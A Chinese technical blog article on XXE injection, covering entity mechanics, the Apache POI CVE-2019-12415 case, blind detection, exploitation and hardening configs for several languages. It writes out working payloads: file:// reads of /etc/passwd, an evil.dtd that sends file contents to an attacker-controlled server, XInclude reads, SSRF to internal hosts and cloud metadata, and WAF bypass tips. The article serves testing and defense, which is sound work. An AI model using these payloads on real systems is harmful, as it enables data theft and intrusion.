资讯动态

深入解析XXE注入漏洞:原理、利用与Apache POI安全防御

发布时间:2026/9/15 12:46:51 来源:尧图企业网站定制
某天业务方报了一个线上故障接口明明返回了正常的XML报文可前端页面就是渲染不出数据随后排查日志发现解析XML的那台服务直接把/etc/passwd内容带到了报错信息里。这不是电影情节而是实实在在发生过的XXE注入漏洞利用过程——一份被精心构造的XML请求绕过了接口校验把服务器上的敏感文件读了出来。XXEXML External EntityXML外部实体注入这类漏洞放到今天已经不算新鲜但它从未真正退出历史舞台。尤其是那些还在用 Apache POI 做Excel导入导出、用SVG做图片上传、用SOAP做系统对接的老系统XML解析器默认允许加载外部实体的情况一抓一大把。最近圈子里讨论比较多的 Apache POI 4.1.0 的 XSSFExportToXml XXE 漏洞本质就是老代码 默认宽松解析器组合出来的典型问题。这篇就把XXE的原理、触发点、数据读取利用手法、以及防御方式一次性聊透适合安全测试人员、后端开发、以及对漏洞原理感兴趣的同学收藏。1. XXE为什么能成立先搞懂XML里的实体机制1.1 实体的本质XML世界里的变量宏替换XML文档里有一个很容易被普通开发者忽略的概念——DTDDocument Type Definition文档类型定义。DTD本身是用来约束XML结构的但它附带了一个非常危险的能力可以声明实体ENTITY。实体可以理解成XML里的宏一个实体声明定义了某个名字和一段内容之后在文档里用实体名;引用时解析器会把这段内容替换进去。实体分两种内部实体和外部实体。内部实体就是直接在DTD里写死的内容!DOCTYPE root [ !ENTITY name 这是内部实体的内容 ] rootname;/root外部实体则是通过SYSTEM关键字引用一个外部资源可以是本地文件也可以是远程URL!DOCTYPE root [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/root这两段代码放到一个开启了外部实体加载的XML解析器里xxe;就会被替换成服务器本地的/etc/passwd文件内容。这就是XXE注入漏洞最基础的形态。除了普通实体还有一类参数实体Parameter Entity写法是!ENTITY % 名字 内容引用时用%名字;。参数实体只能出现在DTD内部不能出现在XML文档内容里。它是盲打XXE无回显场景的核心道具后面讲数据外带时会反复用到这里先记住它的特殊性参数实体存在的意义就是在DTD内部做嵌套定义和拼装。1.2 漏洞根因解析器默认放行了外部资源很多开发者写XML解析代码时并没有意识到解析XML这个动作背后还包含加载外部资源这个隐含行为。标准库或框架给的默认配置往往为了兼容性保留了DTD处理甚至连外部实体加载都开着。以Java为例早期的DocumentBuilderFactory默认配置下disallow-doctype-decl是falseexternal-general-entities和external-parameter-entities没有显式禁用。这意味着一份带有!DOCTYPE ...声明、内部引用了file:///etc/passwd的XML文档可以被正常解析并展开。C#的XmlDocument、Python的xml.etree.ElementTree、PHP的simplexml_load_string在不同版本里都出现过类似问题。这里有一个关键认知XXE是否可利用不取决于你用什么语言、用什么框架只取决于解析器在处理DTD和外部实体时是否做了限制。哪怕只是导入一个配置文件、解析一个第三方返回的XML只要代码没有显式关闭外部实体攻击面就存在。1.3 为什么到了现在还值得研究可能有人觉得XML都多少年前的技术了现在接口都走JSONXXE早就过时了。但实际情况并不是这样。XML在一些特定场景依然是刚需Excel文件xlsx本身是XML打包格式Office文档处理离不开XML解析企业系统之间的老接口、SOAP协议、SVG图片、RSS订阅、报表导出工具底层都大量使用XML。更现实的问题是很多业务系统跑着多年前的框架和工具库比如 Apache POI 4.1.0 这种已经修复了XXE但依然广泛存在的版本。开发人员不会天天去升级工具库攻击者却会扫这些已知漏洞。所以在这个时间点把XXE彻底弄清楚依然是实战里性价比很高的一件事。2. 触发方式解构哪些常见功能是XXE的重灾区2.1 从两个经典入口说起XML接口与文件解析XXE的触发条件其实很简单程序解析了攻击者可控的XML内容且解析器没有禁用外部实体。在这个前提下所有接收XML输入的地方都是潜在触发点。最典型的入口有三类。第一类是直接接收XML格式参数的接口。很多老系统的接口设计成POST一个XML字符串比如Content-Type: text/xml的WebService、SOAP接口、以及一些后台管理系统的XML配置导入功能。这类接口只要在代码里用解析器读了请求体就存在被构造恶意DTD攻击的可能。第二类是文件上传与解析功能。上传一个.xml文件、.svg图片、.docx/.xlsxOffice文档、.pdfPDF内嵌XML等服务端会对文件内容做XML解析。这类入口比第一类更隐蔽因为上传者不一定知道后端到底用了什么组件去处理文件。第三类是间接依赖。比如爬虫抓取外部RSS/Atom订阅源、支付回调报文、单点登录的SAML断言这些数据源如果被攻击者控制或可中间人替换同样会触发XML解析。这类入口的特点是不是开发者主动接收XML而是解析了外部来源的数据更容易被忽略。2.2 Apache POI 4.1.0 XSSFExportToXml XXE漏洞复盘最近热搜里提到的 Apache POI 4.1.0 XSSFExportToXml XXE漏洞是一个很值得展开研究的案例。POI是Java处理Office文档的事实标准很多报表导出、Excel导入功能都建立在它之上。这里的XSSFExportToXml类作用是按照用户提供的XSDXML Schema把Excel sheet数据映射导出成XML。这个类在导出过程中需要解析XSD文件以确定映射关系而问题恰恰出在这里POI 4.1.0及更早版本在解析XSD时没有禁用XML外部实体。于是攻击者只要能够控制上传的XSD文件或能够诱导系统导入恶意XSD就能在XSD里插入DTD外部实体声明解析后直接读取本地文件或发起SSRF请求。这里有一个很有意思的细节正常情况下XSD文件看起来只是描述XML结构的骨架谁会想到在XSD里藏一个外部实体呢但XML的DTD声明是独立于XSD存在的只要XSD文档的最前面允许出现!DOCTYPE ...解析器就会处理它。POI的这几行代码直到4.1.1版本才通过显式禁用外部实体完成修复。CVE-2019-12415给出这几个字背后是多少报表系统在不知情的情况下暴露了敏感文件值得琢磨。2.3 无回显场景下怎么判断接口是否存在XXE不是所有XXE场景都能把文件内容直接回显在响应里。很多时候接口解析完XML后只会返回成功或失败或者干脆静默处理。这种无回显情况下第一步是先确认外部实体是否真的被解析了具体有三个常用探测层级。第一层用外部DTD做OOBOut-of-Band带外探测。在可控域名或内网能访问到的HTTP服务上放一个test.dtd内容是空的或只声明一个无意义实体然后用参数实体加载它!DOCTYPE root [ !ENTITY % load SYSTEM http://your-server:8000/test.dtd %load; ] rootx/root如果服务器上的XML解析器访问了你的HTTP服务在访问日志里能看到请求说明外部实体加载没被禁用。这一步不需要任何回显只要出网HTTP请求能到达你控制的机器就证明漏洞是存在的。第二层用不同协议探测。如果http://不通可以试试file:///etc/hosts、ftp://、jar://有时只是Web应用防火墙拦了特定协议头但底层解析器本身没做限制。多换几个协议交叉验证能更准确判断漏洞的实际可利用性。第三层结合报错信息判断。构造一个引用不存在实体或外部资源路径的payload如果解析器把异常信息返回给前端报错内容里可能包含文档根元素、外部实体、文件路径等关键词。比如Apache POI解析非法XSD报错时日志会暴露External DTD: Failed to load external entity这就是最直观的信号。2.4 不同语言/解析库的默认行为对照在判断一个系统是否存在XXE时知道底层用什么解析器很重要。不同解析器的默认配置差异很大这里整理一个常用对照表语言/库经典解析方式XML外部实体默认状态备注Java JAXPDocumentBuilderFactory默认允许外部DTD与实体大量历史代码从未配置安全选项Java SAXParserSAXParserFactory默认允许外部实体与DocumentBuilder类似C#XmlDocument / XmlReaderXmlDocument允许DTDXmlReader需显式设置.NET 4.0后XmlReader较严格Pythonxml.etree.ElementTree2.x允许外部实体3.x有部分限制推荐直接换defusedxmlPythonlxml默认不加载外部实体但可配置需显式设置resolve_entitiesFalsePHPsimplexml_load_string / DOMDocument旧版本默认允许外部实体加载PHP 8.0后默认禁用了外部实体Node.jslibxmljs / sax视具体npm包而定多数纯JS解析器不支持DTD反而更安全这张表不是让你死记而是提供一个判断思路一个系统用的什么语言、什么库、什么版本基本就能预判它对XXE的防御水平。Java的老项目是重灾区C#要具体看代码怎么new的解析器Python则是无脑推荐defusedxml。3. 数据读取与利用从一条看不见的通道把文件拖出来3.1 有回显场景file://协议直接读文件如果XML解析结果会原样回显在接口响应里利用流程就非常短。构造一个带外部实体的DTD引用目标文件然后在XML内容里用xxe;引用它文件内容就会随响应返回。以读取Linux下/etc/passwd为例?xml version1.0? !DOCTYPE root [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/root接Windows系统时路径改为file:///C:/Windows/win.ini。如果目标文件是中文编码或二进制内容可能因为XML不允许非法字符导致解析失败这种情况下优先读取文本配置文件、日志文件、/proc/self/environ等可打印字符较多的文件。有回显场景看着简单但在真实业务里往往最难跑通因为大部分接口会对响应内容做HTML编码或JSON包装导致换行符、尖括号被转义直接看响应只有一行乱码。这里的小技巧是优先读取单行文件如/etc/hostname、/proc/version或者把读取内容放到报错信息里利用解析器异常把内容顶出来。3.2 无回显场景Blind XXE与外部DTD数据外带实际渗透中遇到最多的反而是完全无回显的Blind XXE。解析器正常处理XML但任何内容都不会返回给请求方。这时候要想把文件内容带出来就得走OOB通道让目标服务器主动把数据发到你控制的服务器上。核心思路是利用参数实体做跨DTD的拼装。因为XML规范有一个限制在内部DTD子集中不能直接在另一个实体声明里引用前面声明过的参数实体做URL拼接。所以完整的利用需要把拼装参数实体这一步放到外部DTD文件里完成。第一步在你控制的服务器上放置恶意 DTD 文件evil.dtd!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % all !ENTITY #x25; send SYSTEM http://your-server:8000/?data%file; %all;这里#x25;是%的XML实体写法目的是在all这个参数实体的值里再定义一个名为send的参数实体它的URL中拼接了%file;即文件内容。由于这段内容是在外部DTD中定义的解析器允许这种嵌套引用。第二步构造提交给目标的XML Payload!DOCTYPE root [ !ENTITY % load SYSTEM http://your-server:8000/evil.dtd %load; ] rootx/root解析器处理%load;时会加载远程evil.dtd接着执行%all;定义send实体然后解析器尝试展开send于是发出形如http://your-server:8000/?dataroot:x:0:0:root:/root:/bin/bash...的HTTP请求。你在服务器上监听8000端口就能在日志里收到带文件内容的请求。这里提醒三个易错点。第一evil.dtd里的#x25;不能漏直接用%会导致DTD语法错误。第二文件内容中如果有特殊字符比如/、空格、拼进URL后会破坏请求格式常见的做法是读短文件、或用php://filter配合Base64编码需要目标能用PHP流协议来降噪。第三目标服务器出网不一定通畅外带失败时先排查目标机器是否只能访问内网再考虑用DNS外带或报错回显方式。3.3 高版本解析器和边界场景下的利用思路随着开发者安全意识提高现代解析器默认禁用DTD的情况越来越多。但禁用DTD不等于外部实体攻击绝迹在特定场景下还是能绕过或找到替代利用方式。一种思路是利用XInclude。当目标限制了DTD但却允许XML片段直接参与文档解析时可以用XInclude结合text类型加载文件root xmlns:xihttp://www.w3.org/2001/XInclude xi:include parsetext hreffile:///etc/passwd/ /rootXInclude是W3C标准用于在XML文档中包含其他文档内容很多解析器的XInclude处理并没有绑定DTD限制。如果接口允许提交任意Namespace的XML片段这条路径在严格禁用DTD的解析器上有时依然有效。另一种思路是借助SVG等伪装成其他格式的XML。图片上传功能是XXE的高发点因为SVG本身就是XML上传一个包含外部实体或XInclude的SVG文件后端如果用XML解析器处理图片元信息文件内容就可能回显在图片渲染结果里或触发外带请求。高版本Java环境中还有一个被讨论很多的方向利用本地已有DTD文件构造报错信息回显比如用DOCTYPE引用/usr/share/yelp/dtd/docbookx.dtd再结合其内部实体定义做报错型XXE。这类技术比较复杂依赖目标系统的具体文件路径实战中可按需搜索资料深入学习核心原则是即便不能加载远程DTD本地DTD 报错回显也有机会把文件内容带出来。3.4 从文件读取延伸SSRF、内网探测与其他危险动作XXE不止能读文件因为外部实体的SYSTEM支持file://、http://、ftp://等协议所以它还天然是一个SSRFServer-Side Request Forgery服务端请求伪造工具。只要把实体URL指向一个内网地址让服务器帮你去请求内网资源就能实现内网端口扫描和敏感信息探测!DOCTYPE root [ !ENTITY xxe SYSTEM http://192.168.1.1:8080/admin ] rootxxe;/root通过观察返回内容差异或请求时间差异可以判断内网端口是否开放、服务是否存在。云环境里一条经典的SSRF利用是读取云元数据服务!ENTITY xxe SYSTEM http://169.254.169.254/latest/meta-data/这段地址在AWS、阿里云等云平台上是内部元数据接口可能暴露临时密钥等敏感信息。此外在存在expect扩展的PHP环境、允许加载外部协议的Java环境里某些条件下还能将XXE升级为RCE远程代码执行。不过RCE的可利用性依赖太多前置条件在此不展开核心认知是XXE一旦被证明存在不要只盯着读文件SSRF、内网横向、云元数据攻击都可能随之而来。4. 常见问题排查与实操心得4.1 没有数据回显时的排查顺序多数人第一次手测XXE时都会遇到payload发过去接口没反应的情况。别急着怀疑漏洞不存在按下面顺序排查。第一步确认解析是否发生。在外部HTTP服务日志里看有没有来自目标服务器IP的请求如果没有试试把http://换成https://或者调整端口到常见80/443有些目标机器出网策略只允许特定端口。第二步确认DTD声明是否被过滤。很多后端对XML输入做了关键字过滤DOCTYPE、ENTITY、SYSTEM都可能被替换为空这种情况下需要尝试大小写混合、编码变换UTF-16、HTML实体绕过WAF。第三步确认是否真的无回显。有些接口只是不在响应中展示但在日志、数据库记录、前端渲染里间接回显了数据所以把接口的完整响应、后端日志、业务异常通知都过一遍再下结论。4.2 外带数据时让人头疼的编码与协议问题OOB外带看似简单实操中却经常翻车翻车原因基本集中在三类。第一类是文件内容破坏URL结构。/etc/passwd这类文件里有大量换行符和特殊字符直接拼到URL里会导致HTTP请求畸形或被解析器拦截。我的习惯是先读小文件如/etc/hostname测试数据通路确认外带通道稳定后再尝试读大文件并且优先找不会包含特殊字符的文件路径。如果目标支持php://filter可以先用它把文件读取转为Base64编码再外带能显著降低解析失败率。第二类是特殊协议不通。目标服务器外带请求发出去了但你收不到可以检查目标是否只允许内网访问。这种情况可以考虑在目标内网搭一个临时监听如果已获得内网权限的话或者用DNS外带把实体URL指向一个你控制的DNS域名例如http://unique-id.your-server.com/通过DNS解析记录判断请求是否到达。DNS外带通常只能判断能否触发难以完整带出文件内容但至少能证明漏洞存在。第三类是编码问题。目标文件含中文或二进制数据时XML解析器会报非法字符导致整个解析流程中断不仅数据带不回来连外带请求都不会发出。遇到这种文件先别硬读换一个ASCII编码的敏感文件或者思考一下这个文件是否真的值得冒这么大成本去读取。4.3 一次用报错反推XXE的排查记录前阵子帮客户测试一个报表导出系统功能点是用Apache POI把Excel导出成XML。我上传了一个包含!DOCTYPE声明的xlsx文件后接口返回导出失败看起来啥也没发生。但我仔细看了完整响应体发现有一行异常信息提到了XXE和com.sun.org.apache.xerces这就说明底层解析器在处理DTD时报错了。顺着这个线索我用外部实体引用http://my-server/test.dtd服务器日志出现了目标IP的请求确认XXE存在。接下来因为解析失败接口会返回错误详情我改用报错型XXE读取文件在外部DTD里让文件内容拼接到一个不存在的URL中触发连接异常异常信息里带上文件路径和部分内容。最终成功读到了服务器上的应用配置拿到了数据库账号密码。整个过程最大的感悟是接口的失败返回不是终点而可能是漏洞利用的起点报错信息里往往藏着比正常响应更丰富的线索。4.4 常见问题速查表这里把自己踩过的坑和网上的高频问题整理成一个表方便现场排查时对照现象可能原因排查/解决方向目标没发外带请求解析器禁用了外部实体 / WAF过滤DTD换协议、换编码、检查WAF规则外带请求发了但没收到文件内容URL拼接特殊字符破坏请求读短文件确认通路换Base64解析直接报错DTD嵌套语法错误 / 文件含非法字符用#x25;转义、选ASCII文件只有DNS有请求HTTP无请求出网协议受限用DNS外带验证即可不要死磕HTTP接口响应无任何变化无回显 / 数据在日志或异步流程中翻日志、看数据库、结合业务功能判断高版本解析器不再加载外部实体默认安全配置生效尝试XInclude、SVG、本地DTD报错回显5. 修复与防御别让默认配置拖后腿5.1 不同语言解析库的加固配置如果你正在维护有XML解析功能的系统第一优先级是检查解析器配置而不是祈祷没人来打。下面给出一组常见语言的安全配置参考。Java里使用DocumentBuilderFactory时最少要设置这几个选项DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); factory.setFeature(http://xml.org/sax/features/external-general-entities, false); factory.setFeature(http://xml.org/sax/features/external-parameter-entities, false); factory.setFeature(http://apache.org/xml/features/nonvalidating/load-external-dtd, false); factory.setXIncludeAware(false); factory.setExpandEntityReferences(false);C# 中如果使用XmlReader建议显式封锁DTDXmlReaderSettings settings new XmlReaderSettings(); settings.DtdProcessing DtdProcessing.Prohibit; settings.XmlResolver null;Python 最省心的方案是直接使用defusedxml替代标准库中的XML解析模块它在设计上就禁用了外部实体可以无脑替换。PHP 8.0以上默认禁用了外部实体加载老版本则在解析前显式调用libxml_disable_entity_loader(true)。5.2 组件升级与输入侧防御配置加固之外组件版本管理同样重要。Apache POI 的 XXE 漏洞在 4.1.1 版本中修复如果你的项目还在用 4.1.0 或更早版本升级是首要任务同样任何涉及XML、XSD、SVG、Office文档解析的第三方库建议定期关注安全公告及时跟进修复版本。输入侧防御也不能全指望开发人员自觉。接口层面可以做传输格式白名单只允许Content-Type: application/json从入口上降低XML攻击面文件上传业务则建议对上传文件做扩展名与真实内容校验禁止上传.xml、.svg、.xlsx之外的类型同时用安全解析器重新序列化目标文件丢弃掉DTD等危险结构。5.3 修复后的回归测试方法修复完XXE不能只靠代码review看着没问题来确认正确的姿势是拿之前构造的恶意payload重新打一遍。具体可以准备两份请求一份是带file:///etc/passwd外部实体的XML预期结果是解析器直接报DOCTYPE is disallowed或类似错误另一份是带外部DTD引用的XML预期结果是目标服务器不对你控制的服务器发起任何请求。如果安全解析器配置到位这两份请求都应该无法触发数据读取和外带行为。我把这套验证流程固化成了一个小脚本每次部署完XML相关功能后都会自动跑一遍既防自我回归也防第三方组件升级时悄悄把不安全的默认行为带回来。结尾一些忍不住分享的体会做了这么多年安全测试我的直观感受是XXE这类漏洞最危险的场景从来不是最前沿的技术对抗而是开发者根本不知道自己用的组件默认就能干这么危险的事。很多人觉得我又没接收XML参数这漏洞跟我无关结果漏洞却藏在Excel导出、报表渲染、文件上传这些被忽略的角落里。所以与其追求各种花哨的绕过技巧不如先把自己系统里的每个XML解析点找出来确认一遍解析器配置把外部实体加载这个口子彻底焊死。这是投入产出比最高的一步也是每一个开发者和安全测试人员都应该养成的习惯。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价